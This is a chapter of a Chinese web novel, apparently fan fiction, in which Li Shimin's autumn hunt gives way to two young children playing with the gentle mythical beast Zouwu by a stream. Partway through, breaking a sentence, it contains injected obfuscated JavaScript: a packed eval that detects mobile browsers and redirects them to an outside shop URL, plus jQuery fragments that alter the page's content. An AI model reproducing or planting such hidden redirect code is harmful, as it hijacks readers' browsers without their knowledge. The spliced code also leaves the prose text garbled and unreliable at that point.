九月的陇州鱼龙川,天穹碧蓝如洗,原野一望无际,金黄与深绿交织,正是秋高气爽、野兽膘肥的狩猎好时节。
皇家秋狝的旗帜迎风招展,猎猎作响。李世民一身劲装,外罩明光铠,骑在马上,扫视着苍茫山林,自有一股君临天下的豪迈与威仪。他身后,文武百官、宗室子弟、禁军精锐皆鞍马整齐,刀弓雪亮,只等天子一声令下,便要纵马入林,一试身手。
长孙皇后今日也换下了繁复的宫装,穿着一身利落骑服,青丝高束,英姿飒爽。丽质和豫章伴在母亲身侧,同样身着便于行动的胡服,小脸上满是跃跃欲试的兴奋。李承乾、李泰等年长皇子更是摩拳擦掌,检查着自己的弓矢,准备在父皇面前一展身手。
唯有场边一角,气氛与这肃杀激昂的狩猎前奏格格不入。景颐和李治,像两只被单独圈出来的、毛色鲜亮却无处撒欢的小雀儿,并排坐在铺了锦垫的胡床上,两双大眼睛眼巴巴地、近乎贪婪地望着远处那些高头大马和寒光闪闪的兵器,小脸上写满了羡慕两个大字。
“大姐姐……” 景颐第不知道多少次扯了扯坐在旁边矮凳上、正含笑看着远处夫君的长孙皇后的衣袖,声音拖得又软又长,带着十二万分的恳求,“就让颐儿去看看嘛……就看一眼!我保证不乱跑,就看看叔叔是怎么射中大老虎的!”
“雉奴也想去……” 李治也小声帮腔,眼巴巴地望着母亲。
长孙皇后收回目光,温柔又无情地摸了摸两个孩子的头:“不成。林深草密,流矢无眼,你们还小,骑术尚未精熟,怎能冒险入围场?乖乖待在此处,有宫人陪着玩耍,等耶耶和兄长们猎得新鲜野味回来,晚上我们烤鹿肉、炙野兔,岂不更好?”
“可是……” 景颐还想挣扎,小嘴撅得能挂油瓶。他想象中的秋狝,是骑着大马,跟着李叔叔在森林里呼啸而过,用小小的弓箭射中肥美的兔子,然后被大家夸赞小英雄,而不是坐在这里看蚂蚁搬家!
正当两个小家伙垂头丧气,觉得这个秋狝过得实在憋屈时,李世民打马检阅队伍路过这边。
看到他俩那副蔫头耷脑、仿佛被霜打了的小白菜模样,不由朗声一笑,勒住马缰,弯腰用马鞭的玉柄轻轻点了点景颐的额头:“怎么?坐不住了?也想跟去凑热闹?”
“想想想!” 两颗小脑袋瞬间抬起来,点得像小鸡啄米,眼睛里的光“唰”地重新点亮,“耶耶/李叔叔,带我们去吧!我们保证听话!”
李世民看着他们渴望的小脸,又看看旁边妻子不赞同的眼神,沉吟一瞬,笑道:“带你们入围场是万万不能。不过……”
他话锋一转,对旁边侍立的侍卫长吩咐道,“去,把那匹最温顺的果下马牵来。多派一队人手,护着雉奴和景颐,只准在围场外缘那片平坦草场上溜达,绝不许靠近林子,更不许踏入箭道百步之内。若有一丝差池,唯你是问。”
“诺!” 侍卫长凛然应命。
“耶耶/李叔叔最好了!是天底下最好最好的耶耶/叔叔!” 两个孩子顿时欢呼雀跃,差点从胡床上蹦起来,刚才的沮丧一扫而空。
不能打猎,能骑马在场边溜达,看看热闹,也比干坐着强百倍!
于是,在李世民一声令下,千骑卷平冈、没入苍茫山林开始真正的秋狝时,景颐和李治的皇家至尊VIP场边观光游也正式开始了。
一匹还没他们肩膀高、通体枣红、性情温顺得像绵羊的小果下马被牵了过来。马鞍是特制的,加了厚厚的软垫和护栏。
景颐和李治在宫人的帮助下,笨手笨脚却兴奋无比地爬上了马背,两人共乘一骑。紧接着,至少二十名全副武装、神情肃穆的侍卫迅速就位,前面开道,左右护卫,后面压阵,将这匹小矮马和它背上的两位小贵人围得密不透风。
然后,这支奇特的队伍,就以一种庄严而缓慢的速度,大约比老奶奶散步快不了多少,沿着被侍卫用彩旗明确标示出来的、绝对平坦安全的观光路线,进行环绕观礼。
起初,两个孩子还很兴奋,坐在马背上左顾右盼,指着远处飞扬的尘土和隐约传来的呼喝声猜测是哪位将军在追猎物。
但很快他们就发现,这观光实在有点无聊。视野被高大的侍卫遮挡大半,只能从人缝里看到一点点远处的动静。所谓围场外缘,其实就是一大片平坦的、草都被踩秃了的荒地,除了几丛野花和零星的灌木,什么有趣的都没有。
那些令人血脉贲张的狩猎场面,隔着老远,只能看到模糊的人影和马匹,听个热闹的声响。
溜达了约莫半个时辰,景颐和李治最初的那点新鲜劲就耗光了,开始觉得屁股被马鞍硌得有点疼,小脑袋也开始一点一点地犯困。
“雉奴,我们下去玩会儿吧?” 景颐提议,指着不远处一条波光粼粼的小溪和溪边几块光滑的大青石,“去那边歇歇,吃点点心。”
李治正无聊地揪小马的鬃毛玩,闻言立刻点头:“好呀好呀!”
侍卫长见状,略一观察那溪边地形开阔,远离丛林,并无隐蔽危险,便指挥侍卫们先过去清场检查,确认安全无虞后,才小心地将两个小祖宗从马背上抱下来,护送到溪边那块最平整干净的大青石旁。
宫女早已铺开柔软的毡毯,摆上从营地带来的精致点心、洗净的时令水果,还有温热的蜜水。
两个孩子顿时把刚才的无聊抛到脑后,脱了略有些闷脚的小靴子,只着罗袜,坐在毡毯上,对着点心水果发动进攻,吃得腮帮子鼓鼓,像两只屯粮的小仓鼠。
微风拂过溪面,带来清凉的水汽和青草的芬芳,远处狩猎的喧嚣仿佛成了模糊的背景音,这一刻的惬意,似乎比刚才那拘束的骑马观光有趣多了。
就在景颐捏着一块玫瑰酥,试图把掉在毡毯上的芝麻粒捡起来时,旁边的树林边缘,忽然传来一阵极其轻微的、不同于风声的窸窣声。
训练有素的侍卫们几乎在声音响起的瞬间就绷紧了神经。“警戒!” 侍卫长低喝一声,所有侍卫“唰”地拔刀出鞘,迅速移动,以青石为中心,形成一道紧密的人墙,将两个孩子牢牢护在身后。
只见一头体态修长、毛色斑斓、拖着一条极长尾巴、形似猛虎却毫无凶戾之气的异兽,迈着优雅从容的步子,缓缓从林间走出。它周身仿佛笼罩着一层柔和的光晕,眼神温润灵动,好奇地看向这边。
是驺吾。仁兽驺吾,日行千里,不践生草。它本就栖息在这片灵气丰沛的山川之间,今日被秋狝的喧嚣惊动,正欲寻一处更幽静之地,却敏锐地嗅到了一股极其纯粹、带着天地祥瑞本源气息的味道。
侍卫们可不管它看起来多漂亮多温顺,在他们看来,这分明就是一头罕见的、体型庞大的猛虎!而且居然敢靠近皇家营地,威胁两位小殿下!
所有侍卫的额头都冒出了冷汗,握刀的手因为用力而指节发白,心中只有一个念头:绝不能让它再靠近一步!哪怕拼了性命,也要护得殿下周全!
然而,被护在中间的景颐,却从人缝里看见了驺吾。他不仅不怕,眼睛反而“唰”地亮了,像发现了绝世珍宝,嘴里还叼着半块玫瑰酥,就兴奋地大喊:“哇!好漂亮的大猫猫!”
一边喊,一边像条灵活的小泥鳅,从侍卫腿边钻了出去,张开手臂就朝驺吾扑了过去!
“小郎君不可!” 侍卫肝胆俱裂,想要阻拦已来不及。
只见景颐结结实实地扑到了驺吾修长优雅的脖颈上,小胳膊努力环住,毛茸茸的小脑袋在它颈侧那温暖光滑、如同顶级丝绸般的皮毛上亲昵地蹭啊蹭,嘴里还不停地发出满足的、软乎乎的喟叹和毫无章法的夸赞:
“你好漂亮呀大猫猫!毛好软好滑!比最软的毯子还舒服!尾巴也好长好漂亮!会发光!你是我见过最最最漂亮的大猫猫了!比御花园里所有的猫猫,哦不,比所有的老虎、豹子、大马加起来都好看!你是神仙派来的吗?”
驺吾被他扑得微微一晃,随即稳住了身形。它低下头,用湿润冰凉的鼻尖,极其轻柔地碰了碰景颐因为兴奋而泛红的小脸蛋,喉咙里发出低低的、愉悦的、如同春日溪流潺潺般的呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319929|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
噜声。
那声音带着奇异的安抚力量,让原本紧绷到极致的侍卫们都莫名地感到心神一松。
它甚至还伸出宽厚柔软的舌头,轻轻舔了舔景颐额前汗湿的碎发,眼中盛满了柔和的笑意,仿佛在说:小麒麟,你也很可爱。
侍卫们:“……” 他们握刀的手僵在半空,眼睛瞪得比铜铃还大,嘴巴无意识地张开,完全被这超出理解范围的画面惊呆了。
这、这到底是什么情况?这老虎成精了?还是小郎君天赋异禀,有驯兽之能?或者说……这根本不是老虎,是某种祥瑞神兽?可它明明长得就像老虎啊!只是格外漂亮温顺罢了……众人脑子里一团乱麻,世界观受到了不小的冲击。
李治一开始也吓得小脸发白,死死揪着身边宫女的袖子,躲在一个身材最高大的侍卫身后,只敢露出一只眼睛偷看。但见景颐不仅安然无恙,还在那大猫猫身上蹭得开心,那大猫猫也温顺得不可思议,他心里的恐惧慢慢被强烈的好奇心取代。
他小心翼翼地挪出来一点,小声问:“景颐,它、它真的不咬人吗?不疼吗?”
“不咬不咬!可乖了!一点都不疼,毛茸茸的,可舒服了!” 景颐抬起头,小脸红扑扑的,眼睛亮得惊人,热情洋溢地招手,“雉奴快来摸摸!真的,不骗你!比摸毛球还舒服!它的毛会发热!”
李治被他说得心动不已,看看那大猫猫温润无害的眼神,又看看景颐毫无防备的快乐模样,终于鼓起勇气,松开宫女的袖子,一步一步,慢吞吞地挪了过去。他伸出白白嫩嫩、还有些微微发抖的小手指,试探性地、飞快地碰了一下驺吾的前腿。
触手温暖,皮毛顺滑如缎,闻起来似乎还带着阳光的味道。
驺吾配合地一动不动,甚至将那条蓬松的长尾巴轻轻扫过来,尾尖那簇雪白的绒毛拂过李治的小手,痒痒的。
李治“噗嗤”一声笑了出来,心里的害怕瞬间烟消云散。他大着胆子,将整个小手都贴在驺吾的背上,顺着毛流的方向摸了摸,果然光滑柔软得不可思议,而且掌心能清晰地感觉到那皮毛下强健而温热的肌肉,以及平稳有力的心跳。
“真的哎!好软!好暖和!” 李治也兴奋起来,学着景颐的样子,趴到驺吾身上,把脸埋进那浓密温暖的长毛里,舒服地叹了口气。
两个孩子顿时把侍卫、宫女、点心全抛到了脑后,围着这头从天而降的漂亮大猫猫玩疯了。他们一会儿比赛谁爬得快,从驺吾的脖颈爬到背脊,再滑下来,一会儿又好奇地去摸驺吾的耳朵、胡须,研究它爪子上柔软的肉垫。
驺吾脾气好得惊人,或者说,它似乎非常享受这两个纯净孩童的亲近。它由着他们在自己身上爬上爬下,甚至配合地调整姿势,让他们躺得更舒服。当景颐试图给它编小辫子却弄得一团糟时,它也只是无奈地晃晃脑袋,用尾巴轻轻扫开那双捣乱的小手。
玩闹了一阵,驺吾似乎觉得光是趴着有些无趣。它那条蓬松美丽的尾巴,开始有节奏地、慢悠悠地左右摆动起来,尾尖那簇雪白的绒毛在空中划出优美的弧线,像一根无比诱人的、超大号逗猫棒。
景颐和李治的注意力立刻被吸引了。
“看!尾巴在动!” 景颐眼睛一亮,伸出小手想去抓。
那尾巴却灵巧地一摆,刚好从他指尖滑过。
“嘿!别跑!” 李治也从另一边扑过来。
尾巴又轻盈地扬起,躲开了李治的袭击。
两个孩子顿时来了劲,把追逐驺吾的尾巴当成了最新鲜有趣的游戏。他们一左一右,嘻嘻哈哈地围着驺吾转圈,跳起来,扑过去,试图抓住那不断摆动、仿佛有自己生命的漂亮长尾。
驺吾则好整以暇地趴着,只微微转动头颅,用尾巴逗引着他们,时而高高扬起,时而低低扫过地面,时而绕个圈,引得两个孩子东奔西跑,气喘吁吁,笑声洒满了溪边草地。
“哈哈!我差点就抓到了!”
“看我的!我跳得高!”
“它又跑啦!大猫猫耍赖!”